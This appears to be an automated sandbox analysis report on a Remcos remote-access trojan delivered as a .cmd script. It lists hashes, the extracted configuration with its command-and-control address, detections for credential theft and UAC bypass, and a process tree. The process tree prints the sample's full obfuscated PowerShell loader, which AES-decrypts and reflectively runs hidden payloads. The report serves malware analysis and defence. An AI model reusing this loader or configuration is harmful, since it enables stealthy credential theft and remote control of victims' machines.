Analysis
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max time kernel
147s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
24-03-2024 02:07
Static task
static1
Behavioral task
behavioral1
Sample
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd
Resource
win10v2004-20240226-en
General
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Target
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd
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Size
7.4MB
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MD5
606bc44bc3ce1ab5bec05a295ac81089
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SHA1
d95631873a15d6bf4c031ddf70052d438f5dbd83
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SHA256
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c
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SHA512
c234ea302f4c3197436beb8d21955abeb6dedf0e1439cd2330428cf40a7b21e3ef7ecd9a71823d3391b441d0b428a8e86d4606192a91db934bdf7df6982e87d0
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SSDEEP
196608:l77777777777777777777777777777777777777777777777777777777777777g:u
Malware Config
Extracted
remcos
RemoteHost
91.92.251.30:2025
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-L2QP3G
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3800-47-0x00000000073D0000-0x0000000007452000-memory.dmp INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM -
Detects executables built or packed with MPress PE compressor 14 IoCs
Processes:
resource yara_rule behavioral2/memory/2560-63-0x0000000000400000-0x0000000000478000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/3604-64-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/4968-66-0x0000000000400000-0x0000000000424000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2560-68-0x0000000000400000-0x0000000000478000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2560-72-0x0000000000400000-0x0000000000478000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/3604-70-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/3604-73-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/4968-79-0x0000000000400000-0x0000000000424000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/3604-78-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/4968-81-0x0000000000400000-0x0000000000424000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/4968-82-0x0000000000400000-0x0000000000424000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/2560-84-0x0000000000400000-0x0000000000478000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/3800-86-0x0000000010000000-0x0000000010019000-memory.dmp INDICATOR_EXE_Packed_MPress behavioral2/memory/3800-90-0x0000000010000000-0x0000000010019000-memory.dmp INDICATOR_EXE_Packed_MPress -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral2/memory/3604-73-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store behavioral2/memory/3604-78-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral2/memory/3604-73-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients behavioral2/memory/3604-78-0x0000000000400000-0x0000000000462000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
NirSoft MailPassView 2 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/3604-73-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView behavioral2/memory/3604-78-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 2 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/2560-72-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral2/memory/2560-84-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Nirsoft 6 IoCs
Processes:
resource yara_rule behavioral2/memory/2560-72-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/3604-73-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/3604-78-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/4968-81-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/4968-82-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/2560-84-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exeflow pid process 36 3800 powershell.exe 38 3800 powershell.exe 39 3800 powershell.exe 41 3800 powershell.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exedescription pid process target process PID 3800 set thread context of 2560 3800 powershell.exe powershell.exe PID 3800 set thread context of 3604 3800 powershell.exe powershell.exe PID 3800 set thread context of 4968 3800 powershell.exe powershell.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3540 3800 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 3800 powershell.exe 3800 powershell.exe 2740 powershell.exe 2740 powershell.exe 2740 powershell.exe 2560 powershell.exe 2560 powershell.exe 4968 powershell.exe 4968 powershell.exe 2560 powershell.exe 2560 powershell.exe -
Suspicious behavior: MapViewOfSection 5 IoCs
Processes:
powershell.exepid process 3800 powershell.exe 3800 powershell.exe 3800 powershell.exe 3800 powershell.exe 3800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3800 powershell.exe Token: SeDebugPrivilege 2740 powershell.exe Token: SeDebugPrivilege 4968 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
cmd.execmd.exepowershell.exedescription pid process target process PID 4956 wrote to memory of 3972 4956 cmd.exe cmd.exe PID 4956 wrote to memory of 3972 4956 cmd.exe cmd.exe PID 3972 wrote to memory of 1336 3972 cmd.exe cmd.exe PID 3972 wrote to memory of 1336 3972 cmd.exe cmd.exe PID 3972 wrote to memory of 3800 3972 cmd.exe powershell.exe PID 3972 wrote to memory of 3800 3972 cmd.exe powershell.exe PID 3972 wrote to memory of 3800 3972 cmd.exe powershell.exe PID 3800 wrote to memory of 2740 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 2740 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 2740 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 5040 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 5040 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 5040 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 4276 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 4276 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 4276 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 2560 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 2560 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 2560 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 2560 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 3604 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 3604 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 3604 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 3604 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 4968 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 4968 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 4968 3800 powershell.exe powershell.exe PID 3800 wrote to memory of 4968 3800 powershell.exe powershell.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:3972 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd';$KUZI='EleMrJamenMrJatMrJaAtMrJa'.Replace('MrJa', ''),'SrASbplrASbitrASb'.Replace('rASb', ''),'DcxuUecocxuUmpcxuUrescxuUscxuU'.Replace('cxuU', ''),'EnzKXdtzKXdrzKXdyzKXdPoizKXdntzKXd'.Replace('zKXd', ''),'CDKRroDKRrpDKRryTDKRroDKRr'.Replace('DKRr', ''),'CremHyIatemHyIDmHyIecmHyIrmHyIymHyIpmHyItomHyIrmHyI'.Replace('mHyI', ''),'LqXKhoadqXKh'.Replace('qXKh', ''),'FibFsromibFsBibFsasibFse6ibFs4SibFstibFsriibFsngibFs'.Replace('ibFs', ''),'MIkMWaIkMWiIkMWnMIkMWodIkMWulIkMWeIkMW'.Replace('IkMW', ''),'GEhZzetEhZzCEhZzuEhZzrrEhZzeEhZzntEhZzProEhZzcesEhZzsEhZz'.Replace('EhZz', ''),'InvYoJVokYoJVeYoJV'.Replace('YoJV', ''),'ChalJqNnlJqNgelJqNElJqNxtlJqNelJqNnslJqNiolJqNnlJqN'.Replace('lJqN', ''),'ReaHsIkdLiHsIknHsIkeHsIksHsIk'.Replace('HsIk', ''),'TyKjzranyKjzsyKjzforyKjzmFyKjziyKjznayKjzlBlyKjzockyKjz'.Replace('yKjz', '');powershell -w hidden;function DzchL($QfpjG){$iBRSE=[System.Security.Cryptography.Aes]::Create();$iBRSE.Mode=[System.Security.Cryptography.CipherMode]::CBC;$iBRSE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$iBRSE.Key=[System.Convert]::($KUZI[7])('TYzwx+VQruSBclwTSei5OE5DbGGUAEnGVbMuihV8YQU=');$iBRSE.IV=[System.Convert]::($KUZI[7])('+LTXnHvK40EXoqLlqGzCsw==');$sGXqE=$iBRSE.($KUZI[5])();$riXCa=$sGXqE.($KUZI[13])($QfpjG,0,$QfpjG.Length);$sGXqE.Dispose();$iBRSE.Dispose();$riXCa;}function bmuCI($QfpjG){$PkJst=New-Object System.IO.MemoryStream(,$QfpjG);$TpSCv=New-Object System.IO.MemoryStream;$vgnKN=New-Object System.IO.Compression.GZipStream($PkJst,[IO.Compression.CompressionMode]::($KUZI[2]));$vgnKN.($KUZI[4])($TpSCv);$vgnKN.Dispose();$PkJst.Dispose();$TpSCv.Dispose();$TpSCv.ToArray();}$nUBNG=[System.IO.File]::($KUZI[12])([Console]::Title);$aWeUY=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 5).Substring(2))));$PFrnG=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 6).Substring(2))));[System.Reflection.Assembly]::($KUZI[6])([byte[]]$PFrnG).($KUZI[3]).($KUZI[10])($null,$null);[System.Reflection.Assembly]::($KUZI[6])([byte[]]$aWeUY).($KUZI[3]).($KUZI[10])($null,$null); "3⤵PID:1336
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2740 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\txhqkjlbhclmxbwmncgonu"4⤵PID:5040
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\txhqkjlbhclmxbwmncgonu"4⤵PID:4276
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\txhqkjlbhclmxbwmncgonu"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2560 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\eaublbwuvkdrzhsqwnaiyhfypu"4⤵
- Accesses Microsoft Outlook accounts
PID:3604 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\guaumuhwjsvwknguoynjbmapyaaxm"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4968 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3800 -s 28164⤵
- Program crash
PID:3540
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3800 -ip 38001⤵PID:644
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD5794bf931212af3178e85954ea35f687a
SHA1e78eb5300a58c85256b08135673b991f8dfce664
SHA25649911477803d5cea085304ff6af24310412e31d37b88ac30d5cbd890c98d5619
SHA5124a1d63034421b56d8968da94049b83ed1a78f832d8fb92664e3dd5240531be8a277163a1c4ddefeafb18651e2cf8219adbdb82763d8b5c695e8ed8ce8250d6df